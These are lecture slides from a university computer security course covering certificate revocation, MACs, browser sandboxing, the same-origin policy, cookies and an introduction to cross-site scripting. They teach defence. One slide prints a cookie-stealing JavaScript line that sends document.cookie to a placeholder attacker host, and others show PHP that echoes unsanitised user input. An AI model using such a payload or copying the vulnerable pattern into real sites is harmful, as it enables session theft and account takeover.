CSE 484: Computer Security and Privacy

# Web Security

Spring 2024

David Kohlbrenner dkohlbre@cs

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, David Kohlbrenner, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...

# Logistics

- HW2 is due in a week
- Lab 2 will go out relatively soon (next dayish)

# Certificate Revocation

- Revocation is <u>very</u> important
- Many valid reasons to revoke a certificate
  - Private key corresponding to the certified public key has been compromised
  - User stopped paying their certification fee to this CA and CA no longer wishes to certify them
  - CA's private key has been compromised!
- Expiration is a form of revocation, too
  - Many deployed systems don't bother with revocation
  - Re-issuance of certificates is a big revenue source for certificate authorities

# Certificate Revocation Mechanisms

- Certificate revocation list (CRL)
  - CA periodically issues a signed list of revoked certificates
    - Credit card companies used to issue thick books of canceled credit card numbers
  - Can issue a "delta CRL" containing only updates
- Online revocation service
  - When a certificate is presented, recipient goes to a special online service to verify whether it is still valid
    - Like a merchant dialing up the credit card processor

#### Attempt to Fix CA Problems: Certificate Transparency

- **Problem:** browsers will think nothing is wrong with a rogue certificate until revoked
- **Goal:** make it impossible for a CA to issue a bad certificate for a domain *without the owner of that domain knowing*
- Approach: auditable certificate logs
  - Certificates published in public logs
  - Public logs checked for unexpected certificates

#### www.certificate-transparency.org

# Recall: Achieving Integrity

Message authentication schemes: A tool for protecting integrity.



Integrity and authentication: only someone who knows KEY can compute correct MAC for a given message.

#### HMAC

- Construct MAC from a cryptographic hash function
  - Invented by Bellare, Canetti, and Krawczyk (1996)
  - Used in SSL/TLS, mandatory for IPsec
- Why not encryption? (Historical reasons)
  - Hashing is faster than block ciphers in software
  - Can easily replace one hash function with another
  - There used to be US export restrictions on encryption

### MAC with SHA3

- SHA3(Key || Message)
- SHA3 is designed to get the same safety properties as HMAC constructions

# Authenticated Encryption

- What if we want <u>both</u> privacy and integrity?
- Natural approach: combine encryption scheme and a MAC.



# Authenticated Encryption

- What if we want <u>both</u> privacy and integrity?
- Natural approach: combine encryption scheme and a MAC.
- But be careful!
  - Obvious approach: Encrypt-and-MAC
  - Problem: MAC is deterministic! same plaintext  $\rightarrow$  same MAC



# Authenticated Encryption

• Instead:

Encrypt then MAC.

 (Not as good: MAC-then-Encrypt)



#### **Encrypt-then-MAC**

*Next Major Topic!* Web+Browser Security

## Big Picture: Browser and Network



### Where Does the Attacker Live?



# Two Sides of Web Security

#### (1) Web browser

• Responsible for securely confining content presented by visited websites

#### (2) Web applications

- Online merchants, banks, blogs, Google Apps ...
- Mix of server-side and client-side code
  - Server-side code written in PHP, JavaScript, C++ etc.
  - Client-side code written in JavaScript (... sort of)
- Many potential bugs: XSS, XSRF, SQL injection

#### But at least 3 actors!



# Browser: All of These Should Be Safe

• Safe to visit an evil website



- Safe to visit two pages
  - Simultaneously
  - Sequentially
- Safe delegation





# Browser: All of These Should Be Safe -Gradescope

• Safe to visit an evil website



- Safe to visit two pages
  - Simultaneously
  - Sequentially
- Safe delegation





## Browser Security Model

<u>Goal 1:</u> Protect local system from web attacker → Browser Sandbox



Goal 2: Protect/isolate web content from other web content → Same Origin Policy



# Browser Sandbox



Goals: Protect local system from web attacker; protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs and iframes in their own processes
- Implementation is browser and OS specific\*

\*For example, see: <u>https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md</u>

	High-quality report with functional exploit	High-quality report	Baseline
Sandbox escape / Memory corruption in a non-sandboxed process	\$40,000 [1]	\$30,000 [1]	Up to \$20,000 [1]

#### From Chrome Bug Bounty Program

# Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

Compared URL	Outcome	Reason
http://www.example.com/dir/page.html	Success	Same protocol and host
http://www.example.com/dir2/other.html	Success	Same protocol and host
http://www.example.com:81/dir/other.html	Failure	Same protocol and host but different port
https://www.example.com/dir/other.html	Failure	Different protocol
http://en.example.com/dir/other.html	Failure	Different host
http://example.com/dir/other.html	Failure	Different host (exact match required)
http://v2.www.example.com/dir/other.html	Failure	Different host (exact match required)

[Example from Wikipedia]

# Same Origin Policy is Subtle!

- Browsers didn't always get it right...
  - In 2024 we're pretty good though
- Lots of cases to worry about it:
  - DOM / HTML Elements
  - Navigation

4/24/2024

- Cookie Reading
- Cookie Writing
- Iframes vs. Scripts

#### HTML + DOM + JavaScript

<html> <body> <h1>This is the title</h1> <div> This is a sample page. <script>alert("Hello world");</script> <iframe src="http://example.com"> </iframe> </div> </body> </html>



## Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).



www.bank.com (the parent) can access HTML elements in the iframe (and vice versa). www.evil.com (the parent) cannot access HTML elements in the iframe (and vice versa).

## **Browser Cookies**

- HTTP is stateless protocol
- Browser cookies are used to introduce state
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets



# Same Origin Policy: Cookie Writing

#### Which cookies can be set by login.site.com?

allowed domains
✓ login.site.com
✓ .site.com

disallowed domains ★ othersite.com ★ .com

🗶 user.site.com

**login.site.com** can set cookies for all of **.site.com (domain suffix)**, but not for another site or top-level domain (TLD)

### Problem: Who Set the Cookie?



# Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in** the context of the embedding website.



The code from <u>http://otherdomain.com</u> **can** access HTML elements and cookies on www.example.com.

- If code in script sets cookie, under what origin will it be set?
- What could possibly go wrong...?

# Foreshadowing: SOP Does Not Control Sending

- A webpage can **send** information to any site
- Can use this to send out secrets...

## Considerations:

- Why would website foobar.com include (directly) a script from baz.com?
  - E.g. <script src=https://baz.com/ascript.js/>
- If they do, what could happen if baz is compromised, or decides to be malicious?

# Example: Cookie Theft

- Cookies often contain authentication token
  - Stealing such a cookie == accessing account
- Cookie theft via malicious JavaScript

<a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie='+document.cookie; return false;">Click here!</a>

- Aside: Cookie theft via network eavesdropping
  - Cookies included in HTTP requests
  - One of the reasons HTTPS is important!

# **Cross-Origin Communication**

- Sometimes you want to do it...
- Cross-origin network requests
  - Access-Control-Allow-Origin: <list of domains>
    - Unfortunately, often:
    - Access-Control-Allow-Origin: \*
- Cross-origin client side communication
  - HTML5 postMessage between frames
    - Unfortunately, the framed page has to include code to correctly handle these (and often have bugs)

# What about Browser Plugins?

- Examples: Flash, Silverlight, Java, PDF reader
- Goal: enable functionality that requires transcending the browser sandbox
- Increases browser's attack surface

#### Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

 Good news: plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)

# Goodbye Flash

Get ready to finally say goodbye to Flash in 2020 Posed Jul 25, 2017 by Frederic Lardinois (@fredericl) lext Story

"As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date." https://www.adobe.com/products/flashplayer/end-of-life.html

# What about Browser Extensions?

- Most things you use today are probably extensions
- Examples: uBlock Origin, Adblock, Ghostery, Mailvelope
- Goal: Extend the functionality of the browser
- (Chrome:) Carefully designed security model to protect from malicious websites
  - Privilege separation: extensions consist of multiple components with welldefined communication
  - Least privilege: extensions request permissions
#### What about Browser Extensions?

 But be wary of malicious extensions: not subject to the same-origin policy – can inject code into any webpage!

Add "Mailvelope"?		
It can: • Read and change all your data on the websites you visit		
	Cancel	Add extension

#### Extensions in flux

- Google has (attempted) to standardize how extensions work
- "Manifest v3" is the new specification
  - Upends how extensions get access to pages
  - Changes how they can execute code
- Generally, slow progress towards making them safer to use

## Summing up browser security

- Browsers are a critical consumer target today
  - Large attack surface

• Many assets to protect

• Wide usage

#### Review Slide: Web Security Overview

- Browser security model
  - Browser sandbox: isolate web from local machine
  - Same origin policy: isolate web content from different domains
  - Also: Isolation for plugins and extensions
- Web application security
  - How (not) to build a secure website

# Web Application Security: How (Not) to Build a Secure Website

## **Dynamic Web Application**



## OWASP Top 10 Web Vulnerabilities (5/2021)

- 1. Broken Access Control
- 2. Cryptographic Failures
- 3. Injection
- 4. Insecure Design
- 5. Security Misconfiguration
- 6. Vulnerable and Outdated Components
- 7. Identification and Authentication Failures
- 8. Software and Data Integrity Failures
- 9. Security Logging and Monitoring Failures
- 10. Server-Side Request Forgery

# Cross-Site Scripting (XSS)

#### PHP: Hypertext Processor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code

<input value=<?php echo \$myvalue; ?>>

• Can embed variables in double-quote strings

\$user = "world"; echo "Hello \$user!";

or \$user = "world"; echo "Hello" . \$user . "!";

• Form data in global arrays \$\_GET, \$\_POST, ...

## Echoing / "Reflecting" User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Can I go back to campus yet?"

search.php responds with

<html> <title>Search results</title>

<body>You have searched for <?php echo \$\_GET[term] ?>... </body>

# Echoing / "Reflecting" User Input

naive.com/hello.php?name=

User



naive.com/hello.php?name=<*img src='http://upload.wikimedia.org/wikipedia/en/thumb/3/3* <u>9/YoshiMarioParty9.png/210px-YoshiMarioParty9.png'</u>>



# Cross-Site Scripting (XSS)

